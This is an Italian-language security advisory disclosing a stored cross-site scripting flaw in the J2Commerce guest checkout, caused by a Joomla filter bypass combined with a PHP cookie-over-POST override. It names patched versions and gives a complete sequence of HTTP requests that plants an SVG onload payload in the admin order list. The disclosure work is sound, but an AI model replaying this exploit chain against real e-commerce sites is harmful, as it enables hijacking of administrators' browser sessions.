
XSS persistente nel checkout ospite di J2Commerce tramite bypass del filtro dei cookie
J2Commerce (com_j2store) ≤ 4.1.5 — Un Attaccante Non Autenticato Memorizza un Payload XSS che si Esegue Automaticamente nel Browser dell'Amministratore al Caricamento della Pagina
J2Commerce 4.1.5 è vulnerabile a Cross-Site Scripting Memorizzato (XSS) tramite i campi dell'indirizzo di fatturazione del checkout ospite. Un attaccante non autenticato sfrutta un bypass del filtro in Input::getArray() di Joomla combinato con variables_order=EGPCS di PHP (il cookie sovrascrive POST in $_REQUEST) per memorizzare HTML non sanitizzato in campi come billing_first_name. Questi campi vengono stampati direttamente nel pannello di gestione ordini dell'amministratore senza , causando l'esecuzione del payload nel browser dell'amministratore.
htmlspecialchars()Il payload XSS si attiva automaticamente al caricamento della pagina quando l'amministratore accede all'elenco degli ordini — non è richiesto alcun clic su un singolo ordine. Una singola catena di richieste HTTP (aggiungi al carrello → invia checkout con bypass del cookie → effettua l'ordine) memorizza permanentemente il payload, che verrà eseguito nel browser di ogni amministratore finché l'ordine non viene eliminato o la vulnerabilità non viene corretta.
L'attacco non richiede autenticazione da parte dell'attaccante. Il checkout ospite è una funzionalità standard e comunemente abilitata dei siti di e-commerce, che offre un incentivo economico per gli amministratori a visualizzare i nuovi ordini — rendendo lo sfruttamento banale da trasformare in arma.
| COMPONENTE | VULNERABILE | TESTATO SU | CORRETTO |
|---|---|---|---|
| J2Commerce (com_j2store) | 1.0.0 – 4.1.5 | 4.1.5 su Joomla 5.4.7 + MySQL 8.0 | 3.3.21 / 4.0.21 / 4.1.6 |
Tipo: Cross-Site Scripting — Memorizzato (CWE-79)
Autenticazione richiesta: Nessuna — non autenticato (checkout ospite)
Sink primario: administrator/components/com_j2store/views/orders/tmpl/default_items.php:73
Percorso di scrittura: components/com_j2store/controllers/checkouts.php:535
La vulnerabilità consiste in due debolezze combinate: un bypass del filtro di input nel percorso di scrittura e la mancanza di codifica dell'output nel percorso di lettura.
1. Bypass del filtro di input — uso improprio di Input::getArray() di Joomla
Il controller del checkout ospite di J2Commerce legge i campi dell'indirizzo usando $app->input->getArray($_POST). L'implementazione di Joomla itera l'array $_POST e usa ogni valore come tipo di filtro (non come dato), leggendo il valore effettivo da $_REQUEST:
COMPONENTS/COM_J2STORE/CONTROLLERS/CHECKOUTS.PHP:535 — PERCORSO DI SCRITTURA
$data = $app->input->getArray($_POST);
LIBRARIES/VENDOR/JOOMLA/INPUT/SRC/INPUT.PHP — METODO GETARRAY() (RIGA 187)
public function getArray(array $vars = [], $datasource = null)
{
foreach ($vars as $k => $v) {
$results[$k] = $this->get($k, null, $v); // $k = field name, $v = POST value used as filter TYPE
}
}
LIBRARIES/VENDOR/JOOMLA/INPUT/SRC/INPUT.PHP — ORIGINE DEI DATI (RIGA 97)
$this->data = $source ?? $_REQUEST; // Reads from $_REQUEST, not $_POST
2. variables_order di PHP — il cookie sovrascrive POST in $_REQUEST
$_REQUEST di PHP è una superglobale fusa costruita da $_GET, $_POST e $_COOKIE. Quando variables_order=EGPCS (il default compilato per la maggior parte degli ambienti PHP), Cookie (C) è elencato dopo POST (P), quindi il cookie vince per le chiavi in conflitto.
Inviare first_name=RAW nel corpo POST fa sì che InputFilter::clean() di Joomla applichi il tipo di filtro 'Raw' (no-op) al valore del cookie first_name=<svg...>, che vince in $_REQUEST.
LIBRARIES/VENDOR/JOOMLA/FILTER/SRC/INPUTFILTER.PHP — METODO CLEAN() (RIGA 215)
$type = ucfirst(strtolower($type)); // 'RAW' → 'Raw'
if ($type === 'Raw') {
return $source; // ← no sanitization — returns cookie value unchanged
}
Risultato netto: il corpo POST first_name=RAW imposta il filtro come no-op. Il cookie first_name=<svg onload="alert(document.domain)"> vince in $_REQUEST. Joomla restituisce il valore del cookie senza filtri. J2Commerce lo memorizza non sanitizzato in j2store_orderinfos.billing_first_name.
3. Mancata codifica dell'output — sink nei template dell'amministrazione
ADMINISTRATOR/COMPONENTS/COM_J2STORE/VIEWS/ORDERS/TMPL/DEFAULT_ITEMS.PHP:73 — SINK PRIMARIO (si attiva al caricamento della pagina elenco)
// Vulnerable — no htmlspecialchars():
<span class="me-1"><?php echo $row->billing_first_name .' '.$row->billing_last_name; ?></span>
ADMINISTRATOR/COMPONENTS/COM_J2STORE/VIEWS/ORDER/TMPL/FORM_CUSTOMER.PHP:56 — SINK SECONDARIO
// Vulnerable — no htmlspecialchars():
<?php echo '<strong>'.$this->orderinfo->billing_first_name." ".$this->orderinfo->billing_last_name."</strong>"; ?>
<?php echo $this->orderinfo->billing_address_1;?>
<?php echo $this->orderinfo->billing_city;?>
<?php echo $this->orderinfo->billing_phone_1; ?>
Questo bypass funziona in tutti gli ambienti PHP tranne Debian/Ubuntu (che impostano esplicitamente request_order = "GP", escludendo i cookie da $_REQUEST). Tutti gli altri principali ambienti di hosting — hosting condiviso cPanel/Plesk, CentOS/RHEL, XAMPP/WAMP/MAMP, Windows IIS — ripiegano su EGPCS, rendendo la sovrascrittura tramite cookie attiva fin da subito senza richiedere modifiche di configurazione.
Apri l'elenco ordini di J2Commerce nell'amministrazione come amministratore vittima. Questo conferma che l'amministratore sta usando attivamente il pannello e incontrerà il payload alla prossima visita.

In qualità di attaccante non autenticato, invia una richiesta GET alla homepage del frontend di J2Commerce per stabilire una sessione ed estrarre il token CSRF incorporato nelle opzioni JSON della pagina. Questo token è necessario per le successive richieste POST.

Aggiungi un prodotto al carrello dell'attaccante. Il carrello deve essere non vuoto affinché l'endpoint del checkout ospite accetti l'invio dell'indirizzo.
POST /index.php?option=com_j2store&view=carts&task=addItem&ajax=1 HTTP/1.1
Host: target.example.com
Content-Type: application/x-www-form-urlencoded
product_id=&j2store_variant_id=&quantity=1&<csrf_token>=1

Invia il modulo dell'indirizzo del checkout ospite con due valori in conflitto per first_name:
first_name=RAW — Joomla lo interpreta come tipo di filtro (no-op)first_name=<svg...> — vince in $_REQUEST (PHP EGPCS: Cookie > POST) e viene restituito senza filtriPOST /index.php?option=com_j2store&view=checkout&task=guest_validate HTTP/1.1
Host: target.example.com
Content-Type: application/x-www-form-urlencoded
Cookie: <joomla_session>=<session_value>; first_name=%3Csvg+xmlns%3D%22http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg%22+onload%3D%22alert%28document.domain%29%22%3E%3C%2Fsvg%3E
first_name=RAW&last_name=Attacker&address_1=1+Evil+St&city=HackCity&zip=12345&country_id=223&zone_id=62&phone_1=0123456789&phone_2=0123456789&email=attacker%40evil.com&<csrf_token>=1

Invia il passaggio dell'indirizzo di spedizione usando lo stesso bypass del cookie. Questo passaggio imposta il paese di spedizione in sessione — saltarlo causa un errore "SHIPPING_ADDRESS_NOT_FOUND" nei passaggi successivi.

Seleziona il metodo di pagamento (pagamento alla consegna). Il campo payment_plugin non è un input di testo suscettibile a XSS.
POST /index.php?option=com_j2store&view=checkout&task=shipping_payment_method_validate HTTP/1.1
payment_plugin=payment_cash&<csrf_token>=1

Invia il passaggio di conferma per ricevere la pagina di riepilogo dell'ordine contenente un campo hash nascosto. Questo hash è necessario per finalizzare l'ordine.
POST /index.php?option=com_j2store&view=checkout&task=confirm HTTP/1.1
accept_terms=1&<csrf_token>=1

Finalizza l'ordine usando l'hash del passaggio precedente. Il server crea il record dell'ordine in joom_j2store_orderinfos con billing_first_name impostato al payload XSS non sanitizzato.
POST /index.php?option=com_j2store&view=checkout&task=confirmPayment HTTP/1.1
hash=<hash_from_step7>&<csrf_token>=1

In qualità di amministratore vittima, vai all'elenco ordini di J2Commerce. Il payload XSS si attiva immediatamente al caricamento della pagina — nessun clic richiesto. Il template default_items.php:73 renderizza billing_first_name senza escape nella colonna Cliente.
Quando l'amministratore visualizza l'ordine, la risposta del server include:
<strong><svg xmlns="http://www.w3.org/2000/svg" onload="alert(document.domain)"></svg> Attacker</strong>
